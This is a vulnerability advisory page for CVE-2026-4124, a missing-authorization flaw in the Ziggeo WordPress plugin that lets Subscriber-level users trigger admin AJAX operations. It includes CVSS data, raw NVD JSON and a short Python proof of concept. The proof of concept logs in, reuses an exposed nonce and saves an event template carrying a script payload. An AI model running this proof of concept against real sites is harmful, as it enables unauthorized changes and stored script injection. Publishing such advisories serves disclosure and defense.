Security Vulnerability Report
中文
CVE-2026-4124 CVSS 5.4 MEDIUM

CVE-2026-4124

Published: 2026-04-09 04:17:14
Last Modified: 2026-04-24 18:03:42

Description

The Ziggeo plugin for WordPress is vulnerable to Missing Authorization in all versions up to, and including, 3.1.1. The wp_ajax_ziggeo_ajax handler only verifies a nonce (check_ajax_referer) but performs no capability checks via current_user_can(). Furthermore, the nonce ('ziggeo_ajax_nonce') is exposed to all logged-in users on every page via the wp_head and admin_head hooks . This makes it possible for authenticated attackers, with Subscriber-level access and above, to invoke multiple administrative operations including: saving arbitrary translation strings (translations_panel_save_strings via update_option('ziggeo_translations')), creating/updating/deleting event templates (event_editor_save_template/update_template/remove_template via update_option('ziggeo_events')), modifying SDK application settings (sdk_applications operations), and managing notifications (notification_handler via update_option('ziggeo_notifications')).

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Configurations (Affected Products)

No configuration data available.

WordPress Ziggeo Plugin <= 3.1.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration target_url = "http://example.com/wp-admin/admin-ajax.php" login_url = "http://example.com/wp-login.php" username = "subscriber" password = "password" # 1. Authenticate as a low-privileged user (Subscriber) session = requests.Session() payload = { 'log': username, 'pwd': password, 'redirect_to': '/wp-admin/', 'wp-submit': 'Log In', 'testcookie': '1' } session.post(login_url, data=payload) # 2. Retrieve the Nonce from the page source # The nonce 'ziggeo_ajax_nonce' is exposed in the page head via wp_head page_content = session.get("http://example.com/").text # In a real PoC, regex would be used to extract: ziggeo_ajax_nonce = "VALUE" # Assuming extracted nonce: nonce = "extracted_nonce_value_from_html" # 3. Exploit: Trigger administrative operation (e.g., update event template) exploit_data = { 'action': 'ziggeo_ajax', 'ziggeo_ajax_nonce': nonce, 'method': 'event_editor_save_template', 'template_title': 'Malicious Template', 'template_code': '<script>alert(1)</script>' } response = session.post(target_url, data=exploit_data) if response.status_code == 200: print("[+] Exploit successful! Administrative action performed.") else: print("[-] Exploit failed.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4124", "sourceIdentifier": "[email protected]", "published": "2026-04-09T04:17:14.467", "lastModified": "2026-04-24T18:03:42.203", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Ziggeo plugin for WordPress is vulnerable to Missing Authorization in all versions up to, and including, 3.1.1. The wp_ajax_ziggeo_ajax handler only verifies a nonce (check_ajax_referer) but performs no capability checks via current_user_can(). Furthermore, the nonce ('ziggeo_ajax_nonce') is exposed to all logged-in users on every page via the wp_head and admin_head hooks . This makes it possible for authenticated attackers, with Subscriber-level access and above, to invoke multiple administrative operations including: saving arbitrary translation strings (translations_panel_save_strings via update_option('ziggeo_translations')), creating/updating/deleting event templates (event_editor_save_template/update_template/remove_template via update_option('ziggeo_events')), modifying SDK application settings (sdk_applications operations), and managing notifications (notification_handler via update_option('ziggeo_notifications'))."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/ziggeo/tags/3.1.1/admin/page_editor_events_ajax.php#L13", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ziggeo/tags/3.1.1/admin/page_sdk_ajax.php#L8", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ziggeo/tags/3.1.1/admin/page_translations_ajax.php#L13", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ziggeo/tags/3.1.1/core/ajax.php#L31", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ziggeo/tags/3.1.1/core/header.php#L67", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ziggeo/trunk/admin/page_editor_events_ajax.php#L13", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ziggeo/trunk/admin/page_sdk_ajax.php#L8", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ziggeo/trunk/admin/page_translations_ajax.php#L13", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ziggeo/trunk/core/ajax.php#L31", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ziggeo/trunk/core/header.php#L67", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3494290%40ziggeo&new=3494290%40ziggeo&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/15477c00-0764-4850-8bce-d65b6b1cbe4c?source=cve", "source": "[email protected]"}]}}